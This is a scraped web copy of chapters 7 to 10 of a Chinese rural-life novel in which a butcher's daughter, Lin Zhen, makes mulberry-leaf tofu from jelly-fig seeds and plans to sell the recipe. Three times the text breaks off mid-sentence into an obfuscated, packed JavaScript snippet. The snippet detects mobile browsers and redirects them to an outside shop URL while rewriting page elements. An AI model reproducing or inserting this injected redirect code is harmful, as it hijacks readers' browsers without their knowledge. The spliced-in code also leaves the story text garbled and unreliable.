《屠户家的女儿》 7. 第 7 章 仓房,是农家人最要紧的屋子。 农户人家自个儿住的屋子可以不好,可存放粮食的仓房是一定会舍得下功夫下料子的。 开高窗、涂墙面、夯地基。且墙面和地基都会用火烤过,还会涂抹石灰熏艾草防虫防潮。 殷实些的人家,仓房一整个儿全用石料来建,火烤后请了泥作匠人来抹灰刷墙,那便再是严实不过。 林家的仓房当年也是使了好料子建的,只没请泥作匠人来涂墙。那甚九浆十八灰的实在费钱费功夫。 她家与大多数农户人家一样,仓底铺陈草席子,墙面和地上的缝隙都用糠秕或稻草填充。 这些东西虽年年要换,可在农家易得,只是费些功夫罢了。 农户人家,最不吝惜的便是力气。 林真直起腰笑着对林屠户道:“仓房的石砖还在,草席子也是新的。定是大伯给咱家换的,还洒了石灰防虫,能直接用,大伯对咱家可真好。” 林屠户嘿嘿一笑,并不接话。才他就瞧着巧儿那丫头拉着真姐儿说小话,这院儿里的黑瓦石砖如何没的,想来真姐儿已知道了。 先前陆富贵来他肉摊子上哭诉,说是家里修葺屋子还差些黑瓦石砖。 陆富贵说得凄惨,老大一个人了还抹眼泪,又是在肉摊子上,他懒得计较便点了头。再者,他先前以为自个儿不会回枣儿村了,这才轻易许了陆富贵来撬砖捡瓦的。 先前真姐儿说起枣儿村的屋子,他就不知如何接话,现索性一言不发。 他家真姐儿自打醒来后行事愈发有主意了,他有些时候还真有点儿怵她。 林屠户只一味干活儿,将林大伯才给的新米新面都倒在仓房的大缸里。粮食进仓一家子心里松了一口气,接着便要去收拾行李打扫屋子。 仓房出来是林屠户的屋子,再往前是中间的堂屋、林真的屋子和最后一间无人住的空房。 再有东厢房三间,分别是灶屋、杂物间和从前陆秋娘纺线织布的工房,现也空着。西边儿只建了一间房充作茅房,边上搭了一个草棚子堆放柴火。从草棚子往后拐便是后院儿。 后院比前院宽敞些,从前是家里的菜地和牲口棚。林屠户搬到慈溪县快十年了,现下怕是不成样子了。 果然,林屠户卸了粮食,才将陪伴自个儿多年的老驴子拉去后院儿。 不一会儿又出来找砍刀:“这从前搭的牲口棚实在不成样子,得趁着没落雨将棚子重新修整一番。” 屋子刚收拾完还没歇口气的众人又绕去了后院儿拔草整地。 这一天,便是干活、干活还是干活儿。 林真晚间烧水烫脚把自个儿摔进架子床里的时候,才一翻身就睡过去了。睡眠质量之好,连身边多了个小尾巴也不在意。 翌日,还是燕儿将林真喊起来的。 梳洗过后急忙去灶屋,朝食都上桌子了,可得跑快些。 今日朝食是苗娘子烧的,昨日夜间林屠户便将家里的钥匙都给了苗娘子,包括仓房。另还给了一个装了银钱的匣子,打开一看,有零有整,还有几角银子。 “我手里还有些整银,那是真姐儿的嫁妆,不能动。家里的钱现是少了些,可你别忧心,我自会赚钱养家。” 竟就这样将家底儿都交给她了? 灯芯儿爆开,屋子里的烛光晃了一瞬,苗娘子捏紧了钱匣子。再回头去瞧林屠户的时候,人都快睡着了。 直到今儿一早,苗娘子坦然地摸了钥匙取粮的时候还恍惚了一瞬。 她从前进门一年多了,莫说家里仓房的钥匙,就连燕儿爹藏钱的地儿在何处,她都是怀了身子才晓得的。 满打满算,她才踏进林家门两天罢? 又去屋子里摸了一回那个压在箱子底下的匣子,她才踏实了。 人与人之间,差异居然如此之大?她们娘俩果真是转运了。 “今儿我起晚了,明日朝食我来做罢。”林真端碗后赶紧表态。 苗娘子笑了笑:“哪里需要分得如此清楚?你们还小,正是觉多的时候,不必起那么早。家里的事儿就这些,转着身就做完了。再有,一日三顿饭,日日如此,真姐儿还怕找不着机会烧饭啊?” “成!咱们是一家人了,您也别不好意思使唤我。”林真见苗娘子真心,也不再多言。 而饭桌上一道吃饭的林屠户也不多话。一家子安安静静用了饭,林真快手快脚去洗碗。 “真姐儿,真姐儿?” 林真才擦了手就听见林巧儿在外头喊她,她赶紧应了一声:“哎!我就来。” 一把拉上背着小背篓的燕儿,她赶紧出门,还不忘回头冲她爹喊:“爹,我和巧儿去山上转转。你去了我大姑家可别忘了给我讨篓桑叶啊!” 林家大人今日人人都有事儿做。 昨儿在林大伯家吃饭时,林屠户提了摆酒的事儿。日子定在四月廿八,有些赶,可苗娘子要在村里行走。 这事儿宜早不宜晚。 是以,不止林屠户家,连林大伯一家都为这事忙起来了。 李金梅要去村里相熟的人家定下办酒要用的鸡鸭和塘鱼,另外的小菜村里头谁家地里都有,虽是好买得很。 可也得先去与人说好了,她识得的人多,哪家东西好哪家是厚道人李金梅都知道。 摆酒的桌子条凳碗筷则是林大伯去借。 酒水已经定下,价是便宜了些,可猫儿巷不送货,好在自家有头老驴子,赶车驴车走一趟便是。 最要紧的肥猪也不肖费心,林屠户有门道,提前一日去拉回来宰杀了便是。 剩下的就是请灶人和请客,村里原有灶人,可人不得空。倒是给林屠户荐了外村的一人。 林屠户今儿一早便要去请灶人。回来时转道去青桑村请大姐林香莲一家来吃席。 青桑村是个好地儿,好水好土,村人种桑养蚕卖蚕丝,日子过得富足。 林香莲模样好人能干,林家给足了陪嫁,可当年嫁到青桑村人还是要道她一声:“走了好运。” 语气酸溜溜中不乏艳羡。养蚕缫丝、捻线织绢,无论哪一样,总比地里刨食来得轻松。 林真就是盯上了大姑家的桑叶。 现今养蚕是一年三季,春蚕最佳,夏蚕和秋蚕次之。如今春末夏初,蚕量减少,这时候去讨上一些桑叶不会碍事。 若不是时间紧迫,林真也不想去讨嫌,她依稀记着枣儿村的前山上有几株野生桑树。 可她今儿上山还要找碰冰子(薜荔果),还不知道能不能寻到,实在没功夫再去寻桑叶了。 她今儿一定要将桑叶豆腐给制出来! 前世有段时间古法神仙豆腐不要太火,林真自然也跟风做过。 神仙豆腐好做,斑鸠叶子切碎,搓揉出汁水,过滤后加水与澄清的草木灰水同煮。煮好的汁水放入容器内静置三五个小时后就能得到一块翠色剔透的神仙豆腐。 可说实话,神仙豆腐不太好吃。 斑鸠叶本身的那股子青蒿味儿实在很难祛除,得到的神仙豆腐必要下重料才能吃。只一个碧如翡翠的颜色,在暑气灼人的夏日里有些可取之处。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16222070|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可林真在县城实地考察的时候就看出来了,慈溪县繁华,有消费市场,可竞争压力大啊。 先不说坊间有门脸的正经铺子,便是在巷子内敢自个儿支摊子卖东西的小摊贩,谁手上没两把刷子? 她先前在水井巷的香饮摊子上两文钱买的豆儿水,也就是绿豆汤。 色如春水,琥珀光浮,没加碎冰,但里头该是加了薄荷,一啜而脏腑生秋[1]。 林真喝了一碗后,灰溜溜跑了,打不过,打不过啊。 总之,用神仙豆腐拍视频当噱头挺好使,可要真卖这东西,不好使。 林真想制的是另一种,桑叶豆腐。 同是色如翡翠的叶子豆腐,可味道却要好上不少。若是比例调配得当,空口吃也是能成的。 孟夏过了大半,她必要趁着夏月赚到这笔钱! 林真干劲满满,可才上山没多久就被脚下的路打败了。 村里的小道还好,可山上的路着实难走。裤脚不知不觉已然全湿了,鞋底子上也沾了湿泥,越走越沉,越走越慢。 这还是人来人往的前山,不用开路,循这村人踩出来的小路走就成。可即便是这样,林真也走得艰难。 林茂安不耐烦了,将人领到了山溪边上,撂下一句:“在这儿等着,别乱跑。我去将那果子摘来给你瞧瞧。” 山溪边上草木茂盛,在此处打草的村人多。抬眼就能瞧见俩婶娘在此处割草,他便放心将自家两个妹子和一条小尾巴扔在此处。 若不是昨日不知怎的,就被林真这丫头忽悠了要带她寻果子,他才不耐烦与这些小丫头们在一处呢! 他早摸鱼去了! 进山后倒是凉快许多,林真歇了一口气,摸出背篓里的镰刀开始割草。 来都来了。总不能空手回去,给自家老驴割两把嫩草还是能的。 “燕儿去玩儿吧,家里只一把镰刀,你人小可别割了手。”瞧燕儿一副欲言又止的模样,她又补了一句。 “那捡些柴火家去也成。” “扑哧!” 林巧儿在一旁笑她:“真姐儿,你放眼瞧瞧,这哪有一根柴火给你捡?这外山的柴火早被捡得干干净净了。我哥平日里打柴都要往里走远些才能找着呢!” 她冲着燕儿招手:“来,咱俩一道。让真姐儿逞强去,咱俩挖些白茅根家去煮水喝,这个用竹片就成。” “怎还小瞧人呢?”林真不服气,埋头割草不说话。 旁边的林巧儿叽叽喳喳撒欢,大伯家人多,青壮也多,家里的重活轮不到巧儿做。可扫地洗衣喂鸡养鸭的得搭把手,她今日也是难得能松快些。 “呀!怎碰到了这蛇头根了!” “哪有蛇?哪有蛇?”林真一下子跳起来!她最怕这东西了。 “哈哈,瞧你那小怂样,还想进山?你也只能在山脚这片转转了,若往里走,草木深深。草里藏的,树上挂的,可专等着往人身上钻呢。”林巧儿语气森森吓林真,连手上痒痛都忘了。 林真被她说得起了一身的鸡皮疙瘩。 “巧儿,你就作怪吧。哪有专往人身上钻的蛇?真姐儿莫怕,你仔细瞧瞧,是蒟蒻。长的花麻蛇一样,可若是制成蒟蒻豆腐,用油烹后,滋味极好哩!”边上割草的婶娘喝水歇息,见了这边的热闹也来搭话。 林真低头一瞧,那不就是魔芋嘛!叫甚蛇头根! 吃的时候叫人家蒟蒻,不小心碰了手,又骂人家蛇头根。 正想回嘴呢,“咚!” 一个秤砣样的绿果子扔在了林真脚下。 8. 第 8 章 林真眼睛一亮,她觉得自己又可以了! “茂安哥,就是这个,在哪儿?带我去多摘几个!” 林茂安嘴角微抽,不是很想说话。 “真姐儿,你费力气寻这个做甚?这果子内里虽好看,可不能吃哩。”割草的另一位婶娘探头搭话。 “孙婶子,我可不吃它。长这果子的地头上有地瓜儿呢,我寻那个吃。”林真笑眯眯,一派天真。 孙大娘撇了撇嘴,都回村了还当自个儿是城里姑娘呢?一天天的正经事儿不干,撺掇着家里兄弟给她找零嘴儿吃,这要是在她家,看她不拧这丫头的嘴! 孙大娘转过头不理会他们了。 林巧儿翻着白眼从孙大娘边上走过,手里挥着一根直溜的条棍:“真姐儿,瞧我给你寻到了甚好东西。” 鞋底子上的泥刮干净了,神器在手,林真杵着那根棍子总算是没掉队。她瞧着燕儿倒腾着两条小短腿比她还利索的模样有些心酸。 一行人跟着林茂安到了地方,一抬头,蜿蜒而上的枝蔓爬了满树,墨绿的叶间吊着一个个幼儿拳头大小的果子。 “这东西没人摘,到处都是。你们在这儿慢慢摘,我去瞧瞧我下的鱼篓子。”林茂安将人带到就想跑。 “这么些够你摘的了,不许走远。我就在边儿上,有事喊一声我能听着。” “行了行了,哥,你真的好啰嗦。”这是来自亲妹子的嫌弃。 “嗯,好,我晓得了。”这是堂妹的敷衍。 林真心神全在满枝的碰冰子上,挥挥手赶走林茂安。 林茂安哼了一声,挨个儿告诫了一番才走远。 主要是他林家的两个妹子,可都不是甚柔顺听话的性子。这性子对上外头挺好,不易吃亏,可自家人就要多操心些。 “我哥就是瞎操心,这是在山里,我还能不听话?”林巧儿一边勾着果子摘一边不服气。 “对了,真姐儿,你寻这个作甚?孙大娘虽讨厌,可她没说错,这东西真不能吃。” 要是能吃早被漫山遍野跑的野小子们薅光了,哪里还轮得到她们? “我知道不能吃,我要做些别的。可我也不知道能不能成,先试试,成了请你吃好吃的。” 林真前世当然做过桑叶豆腐,在失败了三四次后,最终在现代科技(白凉粉)的帮助下终于成功了。且那回做出来的桑叶豆腐十分好看,呈上翠下深界限分明的两层。 那小滤镜一打,配乐和置景跟上,视频一发布就冲上热门,涨粉无数。 可那是上辈子的风光了,这辈子没科技帮忙。她苦思许久,终于想到小时候在乡下手搓冰粉的碰冰子。 桑叶果胶不足,无法像斑鸠叶那样能自然凝固成形。可碰冰子却是满满的果胶,都不用加科技,费些力气搓揉出来能直接凝住。 这是天然的凝固剂。在它的帮助下,桑叶才能定型。 林真话说得谦虚可心里很有信心,她思路没错。即便是失败也不怕,多试几次定能成! 那就要多摘些碰冰子家去!试验材料不能少,这一趟上山要花大半天儿,哪有恁多时间天天来摘。 且也太惹眼了些。 忘我摘果的后果就是,满满一堆碰冰子,林真压根背!不!动! 惹得林巧儿又笑话她:“行了,你可别试了。待会儿再将腰闪了,等着我哥来罢。” 背后不能说人,一说人就到。 林茂安背着背篓走来的时候,脸上笑得灿烂极了:“今儿运道好。我扔的鱼笼上货了!” “我看看!我看看!”林巧儿扔开果子,上前扒拉她二哥的背篓。 “你小声点儿,你哥我好不容易才寻到这么一处能上货的地儿。可别又被人瞧见了,一窝蜂都来下笼子,咱又没得吃。”林茂安将背篓小心放下来给林巧儿瞧。 背篓垫了好几张荷叶,浅浅洒了些溪水,里头有一大一小两尾青鱼,还有六七只指长的青虾。 “哇!”三人都发出没见识的惊叹声。 林茂安把头一昂,得意道:“见者有份,今儿给咱两家都添个菜!” “茂安哥,你不拿去卖了嘛?”林真瞧那两尾鱼,大的只怕有三斤多,小的也有个一二斤的模样。 这是山溪的青鱼,比鱼塘自养的鱼价高些,若是拿去县里,能卖上几十个钱了。 林茂安摇头:“不卖,枣儿村离县里大半个时辰的路呢。鱼又离不得水,咱从山上到家里能教它活着就不错了。拿去县里肯定活不成的,死鱼卖不上价,白白折腾一番,还不如给家里人添道菜。” “行了,你这摘的也不少了。将你那半篓子草盖在我背篓上,咱俩换换,我来背那秤砣果。”林茂安早有安排,家里少见荤腥,谁都馋肉。多几十个铜子儿也富不了,给家里人开个荤腥祭祭五脏庙才实在。 林巧儿跳得欢:“哥,给我背,给我背。真姐儿没力气,小心摔了咱们的鱼。” 林真,无法反驳。 下山的路要难走些,可众人都有收获,干劲满满倒是不觉着难走,一会儿就到家了。 林茂安很有个当哥哥的样子,背着背篓一路将林真两人送到了家,又留下一尾小些的青鱼后才回自家去。 她们上山的大半日里,家里已然大变样。 西边儿原有一棵山椒树,苗娘子靠着那头垦了两畦菜地出来,种了葱姜蕹菜和韭叶。林真进门的时候苗娘子还坐在屋檐下套着经绳编草鞋呢。 “娘!茂安哥给咱家一条大鱼哩!”刚在路上缩着脖子小嘴紧抿,就怕遇上村人的燕儿这时候高兴极了。 林真从草堆里将那尾鱼提溜出来,大青鱼张着嘴鳃盖微动。 看起来还活着,可离去世也不远了。 苗娘子提来一桶水,林真赶紧将青鱼扔进去。好一会儿,那青鱼才懒懒甩了一下尾巴。 “成,咱今晚就吃鱼!”林真很是愉快地给鱼找好了归宿。 随即快手快脚将所有碰冰子对半切开,将粉色的籽挖出来,趁着日头还好,摊在簸箕里晒着。簸箕不够用,又扯了一张草席子。将那些粉粉的籽照顾得多是周到。 青鱼是今晚的菜单,这碰冰子可关系到她往后的菜单,不能轻忽。 “娘子,我爹可回来过?”林真将所有碰冰子晒好后才想起自个儿的屠户爹。 苗娘子点点头:“回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16222071|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,你要的桑叶也带回来了。歇了口气又出去了,家里的物什少,他出去买些家来。” 原先水井巷的屋子小,也不用干农活,笤帚、竹耙、簸箕啥的都不够用。苗娘子想将后院拾掇出来种些菜,秋日再抱些鸡崽子来养,还可以再养两头猪。 地方恁大,不用起来可惜了。且今日家里没甚事儿做,她心里慌。 “真姐儿,你要做些甚?可有我能帮上忙的?” 瞧,这是真的闲不住。 “咱今日吃鱼,倒是烙几个饼子来吃才痛快。您不若去烙饼子,然后将这些果子放在灶旁烘干。”碰冰子要晒干才能用,可桑叶采摘回来不用就不成。便只能费事儿些将它烤干来用。 “对了,还有草木灰,咱家的够不够?若是不够我去大伯家要些来。” “够的,今儿茂青送了一担柴和几个草垛子来,说是给咱们先用着。” “成,那我来处理桑叶。” 桑叶清洗切碎,搓揉取汁。 林真将满满一背篓的桑叶全搓出来,鼻尖满是桑叶的清香,还带着一丝丝甜味。 她大姑给的这一篓子桑叶甚好,怕是专门留着伺候金贵挑嘴的幼蚕的。 桑叶搓好后,用麻布滤出残渣,倒入澄清的草木灰水,又托了苗娘子用洗净的铁锅小火煮到微开。 边煮边撇去浮沫,这样做出来的桑叶豆腐会更剔透好看些。 碰冰子也烘干了,林真伸手捻了一下,能成。找来一块儿干净的细麻布将烘干的籽包好,放在晾凉的水里浸泡一会儿,又开始搓。 林真的胳膊快不是自己的了。 机械似地搓揉着,她的胳膊变得木木的,手中的麻布出汁渐渐变少,盆里的水也染上了丝丝乳白色。 成了成了。林真抱起木盆往灶屋里跑,油绿绿的桑叶水被分成好几份装在大陶碗里。 边上还放着一只同样的陶碗,那是林真特意请苗娘子留下的。家里没有准确的计量工具,只能如此了。 林真开始往桑叶汁子里加碰冰子的汁水,2:1、1:1、1:2,挨个儿作好标记后,再将陶碗移到堂屋里去。老宅子没打井,房门大开的堂屋是林家院子里最凉快的地儿了。 接下来便是等待。 好运来,好运来!林真闭着眼睛求各路神仙保佑,这要是不成,她手搓桑叶碰冰子倒是不怕,可这桑叶难得啊。 苗娘子见林真似乎忙完了,双手捏着合围有些局促地开口:“真姐儿,这鱼,我不大会弄。怕糟蹋了好东西。” 苗娘子未嫁人之前家里不甚富裕,她娘灶上手艺不精,她自然也好不到哪儿去。 嫁人后,灶屋里做吃食的轻省活计少有轮上她的。此时瞧着这大青鱼,便漏了怯。 “成!我来!” 青鱼一闷棍敲晕,刮鳞去腮,开膛破肚去黑膜。 再将鱼杂收拾出来,鱼泡儿是林真的最爱,可不能浪费了。 林真想了想,这鱼长在山溪里,那水清凌凌的。这样的鱼没大腥,若是按着重口的法子来做,到是不美。 “咱今儿吃清炖的,能喝汤。若是嫌滋味儿不足,再打个蘸碟就成。” 9. 第 9 章 猪油下锅,老姜几片、葱段一把、几颗山椒子在猪油里跑一跑,用荤油炝出独属于香料的味儿。 炝出香味的香料捞在碗里,留着待会儿回锅炖汤。那啥,香料价贵,得省。 切了花刀的鱼下锅,用猪油慢慢将两面煎得金黄,几瓢甜井水下锅没过鱼肉。将香料倒进去,再烹一番,更有味儿。 抽掉两条柴,改小火慢炖,锅里的鱼汤逐渐呈现出一种诱人的奶白色。 轻盈的水汽混着肉香,飘了满灶屋。 “娘子,你来。”林真让出位子。 苗娘子不明所以地过来,林真将木勺交到苗娘子手里。 “搁两勺盐,再洒一些胡椒粉。” “啊?”苗娘子很是疑惑,可瞧着真姐儿一脸认真的模样,只得按她说的往鱼汤里加盐和胡椒粉。 加胡椒粉的时候她手抖啊抖,似乎加了又似乎没加。 “再来点儿。”林真鼓励。 苗娘子又抖了抖。 如此贵的香料,她从前只是听人说过,可从没见过,怎能不谨慎?还有今儿看真姐儿挖猪油的样子,那一勺子下去,她眉头又是一抖。 苗娘子对今日的夕食很是期待,油水这样足,甚东西不好吃?正经的好肉还不得香掉舌头? 林屠户拉着一车东西家来的时候,一进门就嗅到了满院儿肉香。 将板车上的东西卸下,又牵着老驴往后院儿去。在食槽里添水添料,还打了水洗手后,灶屋里的三人才发现他。 “呀!怎么悄没声儿就进来了?”苗娘子瞧见灶屋口的人影晃动,这才察觉林屠户家来了。赶忙端来一盏子茶汤给林屠户解渴。 “做甚好吃的了?”林屠户这时候突然觉出在村里住的好来了。 家家户户都离得远,他家这满院子的肉香都没惹得人来瞧。往日在县里住着,他多叫上几回索唤都有人说嘴。 “今儿吃鱼!茂安哥下的鱼篓子得了两尾好鱼,送了咱家一尾。”林真用一个揉面的大陶盆将炖好的鱼肉全装了出来。 身后的小尾巴捧着一个小扁箩,里头装着苗娘子烙的二合面饼子,两面炕得焦黄,满是麦香。 灶屋太热,一家子在院儿里摆了桌子吃饭。 枣儿村家家户户都有枣树,林家的院子也有两颗,桌子摆在树荫下。就着晚风落日,一家子围在一处吃饼子喝汤好不畅快。 林家倒是少有如此热闹的时候,往常林屠户和林真就两人,声儿再大也稍显冷清。 山溪里的鱼,肉质紧致还带着一股淡淡的鲜甜。教这样一炖,实在是妙,一大盆鱼肉和炝炒的蕹菜教几人吃得干干净净。 林家虽是屠户,可也得好几日才能吃上一回正经的好肉,平日里多是骨头炖汤或是多加几勺子猪油尝个荤腥儿。 这样的伙食已超出普通百姓一大截儿,可肚里还是缺油水,嘴巴还是馋肉吃。 今日这一道炖鱼,对众人来说是难得的好滋味。一家子不意外的都吃撑了,瘫在凳儿上半天不动弹。 歇了一会儿后,趁着天色未暗。林屠户拿着新买的竹耙锄头与苗娘子又去拾掇后院儿。林真带着燕儿将灶屋收拾好后,颇为急切地往堂屋跑。 她的桑叶豆腐,她来了。 深吸一口气,林真将陶碗上倒扣的簸箕揭开。成了! 三个碗里颤颤巍巍晃动的翠色,只瞧一眼林真就知道,她的桑叶豆腐,成了! 林真细看后,发现最成功的是桑叶汁和碰冰子1:1兑成的那碗。卖相也是最好看的,与她上辈子用白凉粉兑出来的一样。 上翠下灰界限分明,Q弹爽滑,口感也不会过分哏揪。 决定了,这卖相最好的明儿就拿它出去谈生意!剩下的嘛…… 林真只稍微想了想,就冲出去扯开嗓子叫人:“爹!爹!” “怎么了?怎么了?”林屠户举着竹耙从后院儿跑来。 “您来!苗娘子也来,与你们瞧瞧好东西!” 加了饴糖的桑叶豆腐征服了肚儿里本就不剩甚空间的众人。 就连林屠户这样不甚喜甜的男子,都将那一碗颤巍巍、滑嫩.嫩的桑叶豆腐吃尽了。 “好东西啊。”林屠户叹了一句,又问道。 “真姐儿可是想做这桑叶豆腐的生意?” “自然,不过我还是先去一趟大伯家,给他们也送一碗。再将这豆腐湃上,若是搁咱家放一夜,我怕第二日会坏了。” 林大伯家打了一口深井,夏日往井里吊一个篮子,可用来保存一些不易存放的吃食。 一个大陶碗里的桑叶豆腐估摸着有一斤。即便大伯家人多些,也能一人一小碗尝个鲜,如此也不算拿不出手。 林真将余下的桑叶豆腐都放在篮子里,拿了一块儿麻布搭上。便带着她的小尾巴往大伯家去了。 林大伯一家子也才吃了夕食,众人聚在院儿里纳凉。 林真进门的时候带着燕儿挨个叫人,还特特凑到抽着水烟的小老头边儿上。 “大伯,侄女做了些吃食,特意送来给您尝尝。也谢谢茂安哥送的青鱼。” 林大伯翻着眼皮子不瞧人,只从鼻腔里‘嗯’了一声。 “哟,我可得瞧瞧真姐儿这是做了甚稀罕吃食,能比得上一尾山溪里的大青鱼。” 这话? 林真瞧了瞧出声的人,是茂青哥的媳妇儿刘桂香,也是她大嫂。 林真不做声了。 林大伯皱眉,磕了嗑自个儿的烟杆子,没理会大儿媳。只冲着自家大儿子道:“没瞧见你妹子手里的篮子沉手?” 林茂青赶紧将林真手里的东西接过来,陪着笑道:“真姐儿有心了,恁重,定是有我的份儿了。” 林真笑了笑,将篮子递给林茂青,顺手揭开了盖着的麻布:“也不算甚,只是此时吃这个最是消暑。这才巴巴儿地拿来给大伯和大伯娘尝尝。” 麻布一去,翡翠般的桑叶豆腐在褐色的陶碗里微颤。 “呀!这是甚?”凑过来的林巧儿惊呼出声。 林真得意道:“好东西,去拿碗来,再化一盏子糖水来。今儿你真姐姐请你吃好东西!” “嘁,你就比我大俩月。”林巧儿驳了一句,到底好奇心占了上风,没顾上同林真拌嘴,小跑着去了灶屋拿碗拿糖。 她是家里的小女儿,颇为受宠。糖这样的东西,只要不多也是能自个儿作主,切上一块儿的。 林巧儿手脚勤快,不多时便端了一叠碗和一盏子糖水出来。林真接手,将大陶碗里的桑叶豆腐分作几碗,又在碗里添一小勺糖水。 “成了,大伯,您先尝尝。”她端了一碗到林大伯手边。 “娘,快快快,您也吃。”林巧儿等不及了。送了一碗到自家老娘手边,又飞快蹿回去,自端了一碗送入口中。 余下众人这才动手,林茂青端了一碗给媳妇儿刘桂香,低声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16222072|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“吃吧,别说话了。” 刘桂香动了动嘴,心底委屈,可到底不敢再出声儿了。 “又嫩又滑还有些韧,味儿好!”一直没出声的林茂安头一个捧场。 “瞧着有些像香饮铺子里的水晶皂儿盏,不对,真姐儿这个还要好看些。”林巧儿紧跟着夸夸。 林真眼巴巴瞧林大伯。 “不错。”一碗桑叶豆腐全吃尽的林大伯点点头。 “成了,有了大伯这声赞,我明日去县里卖这豆腐就不惧了。”林真笑眯眯。 “还要劳烦茂青哥将剩下的这篮吊在井里。我明儿一早进城去卖了换钱。” “成,我去给你弄。”林茂安三两口吃完自个儿的那碗,接过林真的篮子就走。 “既是能卖钱的东西,下回不能再拿来了。家里谁都不缺这一口吃的,都留着去换钱。”李金梅语气平淡,又冲着儿媳刘桂香道。 “还有一碗留给鑫哥儿,教他嘴甜些。从前只知道送他肉的二叔祖好,今儿也让他知道姑姑的好。你捣碎些再给他,噎住了可不是闹着玩的。” 鑫哥儿是个皮猴子,家里关不住他。吃了夕食早早便跑出去跟村里的小子们滚作一堆儿,不到累了是不回来的。 刘桂香面色讪讪,喏喏应下。 林真不多留,事情说完了便要走,林茂青提出送人。 “真姐儿,咱俩家离得近,可这日头落没了,我得送送你们。顺便将鑫哥儿捉回家来。” 林真没拒绝,带着燕儿,身旁还跟着一个林茂青家去了。 林茂青果真有话说:“真姐儿,今儿你嫂子说话不中听,你别放在心上。家里不是她做主,你安心,我会与她分说明白的。” “茂青哥,我晓得的,咱们两家之间不必多说。” 刚才那一出,林真并未觉得多冒犯。况且她大伯和大伯娘已经给她撑腰了,现茂青哥又追出来道恼。本来就不是甚大事儿,她何必揪着不放? 她还有正事儿要办,路上也没掐花打柳的,径直往家里去了。 “爹,您给说说,县里几家点心铺子或香饮铺子,哪家的掌柜是厚道人。我得趁着夏日,将这豆腐方子卖出去。”林真一回家就扔一个重磅消息,差点儿砸晕她的屠户爹。 林屠户才将还在满心感叹:自家闺女儿多贴心,多能干。有得这一技傍身,往后嫁人了,便是他这个当爹的走了,谁还敢小瞧她? 可不想贴心闺女一回家,就嚷着要卖方子? “真姐儿,如何要卖了这方子?这是生蛋的母鸡,可不兴卖。咱自家制好了豆腐出去卖才是长久之道哩。”林屠户好声好气与闺女儿商量。 他刚才问过惠娘(苗娘子)了,制这桑叶豆腐不是多麻烦。 “爹,您心里有成算,是这个!”林真举个大拇指逗她爹。 “你少贫嘴,快些说说心里是甚打算?”林屠户尽力绷着个脸。 林真收起脸上的顽笑之色,认真道:“这桑叶豆腐卖不上钱,不如舍了方子,攒下一笔钱来。咱们再寻另外的赚钱法子。” “这如何卖不上钱?味儿好,翠生生的又好看,夏日里最是好卖。慈溪县里头大户富商如此多,出手大方得很,咱们卖与他们如何卖不上钱?”林屠户有些着急。 她爹还真有两把刷子,还知道这桑叶豆腐的精准客户。 “正因这桑叶豆腐只能卖与大户富商,它在咱们手里才卖不出去。” 10. 第 10 章 桑叶豆腐,好吃又好看,还是个新鲜物件。 在合适的人手里,能卖上大钱,可要是拽在林真自个儿手里。怕是忙活大半天,只能赚个零花钱,这不是她想要的。 慈溪县三纵三横三十六坊,另有东西二市。东西二市不说了,里头一水儿的门脸铺子,吃的、穿的、用的、杂耍作乐样样俱全。 二层高的酒肆客栈也不缺,连出海的船队捎带来的稀罕物都有。 那处是慈溪县内最热闹繁华之处,兜里没几个子儿都不敢进去。 东西二市的铺子价钱先不说,背后没点儿靠山是绝计拿不下来的。 靠西北方向地势高的坊内,正街上的铺子也是紧俏,价格先不说,便是租赁,也得在房牙那处排队等消息呢。 林屠户在慈溪县经营多年,也只在西市肉行处占了一角。 “爹,这桑叶豆腐虽也占了豆腐二字,可它一不能当个正经菜来吃,二不顶饱,咱只能卖给兜里不差钱的贵人富户。可那浮铺货摊儿的,贵人不会踏足,富户少有来的。正经铺子赁不得,支着小摊儿又卖不上价,这桑叶豆腐要是攥在自家手里,只怕要砸在手上。” 林真还没忘记那碗豆儿水带给她的震撼,她这桑叶豆腐与人家的豆儿水相比,只胜在一个新奇好看上。 若是自去支个摊子卖,那新奇劲儿一过,便会败下阵来。 以新奇好看为卖点的销售对象,从来不是计算着手里有几个子儿来花销的普通百姓。 林真这一通话,教林屠户沉默了好一会儿。 好半天才欣慰道:“真姐儿果然长大了,爹不如你有主意。” 林真笑嘻嘻道:“哪有,这不是摸不着脉找不着买家嘛?还等着爹您指点呢。” “东市我少有去的,西市上我也只去过三两家铺子,一是那点酥斋,他家擅做入口即化的酥皮点心,招牌便是一口酥,与这桑叶豆腐不搭噶。” 那倒是,桑叶豆腐汤汤水水的,确实算不得适配。 